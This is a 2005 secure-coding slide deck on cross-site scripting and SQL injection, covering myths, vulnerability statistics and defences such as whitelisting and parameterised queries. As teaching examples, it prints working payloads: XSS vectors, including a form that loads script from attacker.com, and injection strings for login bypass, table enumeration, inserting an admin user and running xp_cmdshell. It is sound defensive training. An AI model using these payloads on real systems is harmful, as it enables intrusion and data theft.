Copyright Security-Assessment.com 2005 Secure Coding Practice.
-
Upload
roberta-stokes -
Category
Documents
-
view
220 -
download
0
Transcript of Copyright Security-Assessment.com 2005 Secure Coding Practice.
Copyright Security-Assessment.com 2005
Secure Coding Practice
Copyright Security-Assessment.com 2005
Why Secure Code Is so Important
Copyright Security-Assessment.com 2005
Web Application Vulnerability Statistics• Qualys last 200 Checks
– Web App: 40 (20%)• XSS: 9• SQL Injection: 6• OS Injection: 5
• Secunia October Advisories (73 total)– Web App: 14 (19%)
• XSS: 4• SQL injection: 3
• SecurityFocus October Vulnerabilties (150 total)– Web App: 35 (23%)
• XSS: 10• SQL Injection: 10• OS injection: 3
Copyright Security-Assessment.com 2005
Statistics Continued• Those statistics were only with Off-the-shelf web
applications
• Custom web applications tend to contain many more vulnerabilities
• Very rare to find an application without at least one major web application vulnerability
• 95% of applications tested contain an XSS vulnerability
Copyright Security-Assessment.com 2005
Source Review vs Penetration Test• Penetration Test
– Pros• Simulates real-world attack• Can be performed relatively quickly
– Cons• Will never find all vulnerabilities• Only tests outer layer• Must be performed once the system is ready
Copyright Security-Assessment.com 2005
Source Review vs Penetration Test• Source Code Review
– Pros• Ability to review all code• Finds vulnerabilities hidden inside
conditional flows• Can be performed earlier in the project to
catch vulnerabilities as soon as possible
– Cons• Time consuming• Does not simulate a real-world attack
Copyright Security-Assessment.com 2005
Security In The SDLC• The Longer a security vulnerability is left
unsolved, the more costly to resolve
• Security should therefore be built into the SDLC to catch vulnerabilities as soon as possible
• It is too late to wait until one week before go-live to get a security review performed
Copyright Security-Assessment.com 2005
Standard SDLC• Requirements• Architecture/Design• Development• Integration Testing• Deployment• Maintenance
Copyright Security-Assessment.com 2005
How Security Fits Into The SDLC• Requirements
– Initial risk assessment– Make security requirements explicit– Threat modelling during use cases
• Architecture/Design– Design security review
• Development– Application development standards– Iterative code reviews– Automated code testing
Copyright Security-Assessment.com 2005
How Security Fits Into The SDLC• Integration Testing
– Application penetration testing– Automated scanning
• Deployment– Traditional go-live testing
• Maintenance– Regression testing– Code reviews of changes– Operational procedure reviews
Copyright Security-Assessment.com 2005
Why A Coding Policy Is Important• Developers are not security experts so need
advice on how to code securely
• Developers change over time
• Outsourcing give little control over developers– A coding policy can help ensure security is at an adequate
level – Make software acceptance dependant on compliance with
the coding policy
• Security techniques change over time
Copyright Security-Assessment.com 2005
Introduction To Common Vulnerabilities - XSS
Copyright Security-Assessment.com 2005
What Is XSS?• XSS stands for Cross-Site Scripting
• It is the ability of one person to inject HTML code into another person’s session
• Generally comes in two forms:– Reflective (code stored in a URL, requires tricking a user to
click on the URL)– Storage-based (code stored on the site, often does not
require user interaction)
Copyright Security-Assessment.com 2005
Why Is It Bad?• XSS allows an attacker to manipulate the HTML of
a web page.
• Typical exploits include:– Page modification (defacement)– Redirection (for example login forms)– Site interaction on behalf of user (AJAX)– Pretty much anything you can do with JavaScript
Copyright Security-Assessment.com 2005
Some Myths About XSS• XSS isn’t a real threat, it can’t do any real damage
• WRONG– XSS can lead to a serious compromise of either
the site or the victim
• Examples– XSS-based worms– Myspace.com example– AJAX– Imagine an Internet Banking site where an XSS attack
automatically checks your balance then transfers the maximum to an attacker’s account
Copyright Security-Assessment.com 2005
XSS Myths Continued• An attacker has to trick a user into following a
malicious link
• WRONG– Storage-based XSS
• Examples– XSS in registration page to compromise Admin– XSS in profile pages– XSS in messages/forums/bulletin boards
Copyright Security-Assessment.com 2005
XSS Myths Continued• I use post for all my input therefore I am safe from
XSS
• WRONG– an attacker can craft a page that POSTS to your
site to cause XSS
• Example– <body onload=form1.submit();>– <form1 action=“/postpage.asp” method=“POST”>– <input type=“text” value=“%3Cscript+src%3D%22http%3A%2F
%2Fwww.attacker.com%2Fscript.js%22%2F%3E”>– </form>
Copyright Security-Assessment.com 2005
XSS Myths Continued• I filter < and > so I am safe
• WRONG– Some types of XSS do not require < or >
• Examples– " "onmouseover= "alert('XSS');– +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Copyright Security-Assessment.com 2005
Issues With Common Methods To Detect XSS• Common detection methods tend to rely on
recognising dangerous characters
• There is such a large variation in how these exploits can occur that detection is often difficult
• Even vendors get it wrong:– .Net XSS filter bypass– foo.bar/test.asp?term=<%00SCRIPT>alert(‘XSS')</
SCRIPT>
Copyright Security-Assessment.com 2005
Multiple variations of XSS• <script>alert('XSS')</script>• <IMG SRC="javascript:alert('XSS');">• <IMG
SRC=javascript:alert('XSS')>
• <IMG SRC=javascript:alert('XSS')>
• <BODY ONLOAD=alert('XSS')>• +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-• " "onmouseover= "alert('XSS');
Copyright Security-Assessment.com 2005
How To Defend Against XSS• Only allow known good input
– Numeric fields– Boolean fields– Alpha fields– AlphaNumeric fields– Length checked
• If Special characters must be allowed, do not allow the following characters:– < > “ ' & + ; # / \ %
• Always encode output as well as filtering input
Copyright Security-Assessment.com 2005
Introduction To Common Vulnerabilities – SQL Injection
Copyright Security-Assessment.com 2005
What Is SQL Injection?• Ability to execute unauthorised SQL statements
by manipulating user input
– SQLquery = “SELECT * FROM users WHERE username = ‘” + user + “' AND password = ‘” + password + “';”
– http://www.target.com/login.asp?user=admin&password='%20OR%20'1'='1
– Query becomes “SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';”
Copyright Security-Assessment.com 2005
Some Myths About SQL• Stored Procedures Protects Against SQL
• WRONG– Stored procedures can use inputs to build a
statement and then execute
• ExampleCREATE PROCEDURE MyProc
(@TableName varchar(255), @FirstName varchar(50), @LastName varchar(50))
AS DECLARE @SQLStatement varchar(255)SELECT @SQLStatement = "SELECT * FROM " + @TableName + "WHERE FirstName = '" + @FirstName + "' AND
LastName = '" + @LastName + "'"
EXEC(@SQLStatement)
Copyright Security-Assessment.com 2005
SQL Myths Continued• I Filter the ' character so I am safe from SQL
• WRONG– if you have SQL that expects numeric, an attack does
not need '
• Example– “SELECT * FROM table WHERE int = @userinput;”– The attack can look like following:
1 or 1=1– or
1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
Copyright Security-Assessment.com 2005
Common SQL Injection Variations• Standard - Using ' to close string
– /vuln.asp?string='
• Password Circumvention– /login.asp?user=admin&password='or'1'='1
• Comment Injection– /login.asp?user=admin';--&password=whocares
• SubSelects– /vuln.asp?string=' + (SELECT TOP 1 FieldName FROM
TableName) + '
Copyright Security-Assessment.com 2005
SQL Injection Variations Continued• Table Enumeration With UNION
– /vuln.asp?string=' UNION ALL SELECT name,9,'a' FROM sysobjects where xtype='U
• Statement Concatenation– /vuln.asp?string='; INSERT INTO adminusers
(username,password) VALUES ('hacked', 'p0wn3d');--
• Command Execution– /vuln.asp?string=';EXEC master.dbo.xp_cmdshell 'cmd.exe
dir c:
Copyright Security-Assessment.com 2005
SQL Injection Variations Continued• Numeric Attack
– /vuln.asp?int=1 or 1=1
• Numeric Insertion– /vuln.asp?int=1; insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
• Using Tab To Bypass Space Checks– /vuln.asp?string=‘%90+%90(SELECT%90TOP
%901%90FieldName%90FROM%90TableName)%90+%90'
Copyright Security-Assessment.com 2005
How To Defend Against SQL Injection• Only allow known good input
– Numeric fields– Boolean fields– Alpha fields– AlphaNumeric fields– Length checked
• If Special characters must be allowed, do not allow the following characters:– < > “ ' & + ; # / \ % {whitespace}
Copyright Security-Assessment.com 2005
SQL Injection Defence Continued• Only use parameterised stored procedures
• Never generate SQL statements on the fly using strings
• Restrict the user account accessing the database– Only allow the user access to the specific stored procedures
required– Remove access to master stored procedures (xp_cmdshell
etc)
Copyright Security-Assessment.com 2005
Why Whitelist Beats Blacklist• As can be seen from the examples today, it is very
difficult to know and block all variations of attacks
• Therefore, using a blacklist to search for known bad data is risky
• Best strategy is to know what data is expected and make sure this is true
• Make your checks are as specific as possible:– Type of characters allowed– Length
Copyright Security-Assessment.com 2005
Keep It Secure
Copyright Security-Assessment.com 2005
Continued Testing• Any changes to the code can introduce new
security vulnerabilities
• All code changes should be checked to ensure they:– Comply with the coding policy– Do not introduce new security vulnerabilities
• Security changes over time, what was secure today may not be secure in a year’s time
• Make sure security tests are performed on a regular basis
Copyright Security-Assessment.com 2005
Protect The Source• It is not enough to review one version of code
• Must ensure that the ability to insert malicious code is minimised
• Must ensure that access to source code is restricted (CISCO)
Copyright Security-Assessment.com 2005
Testing Tools• Source Code Analysis
– CodeScan (of course )– PMD– Findbugs
• Automated Web Application Testing Tools– WebInspect– AppScan– AppDetective– ScanDo
Copyright Security-Assessment.com 2005
References• Open Web Application Security Project
http://www.owasp.org
• XSS Cheatsheethttp://ha.ckers.org/xss.html
• Codescan Source code analysis Toolhttp://www.codescan.com
Copyright Security-Assessment.com 2005
Questions?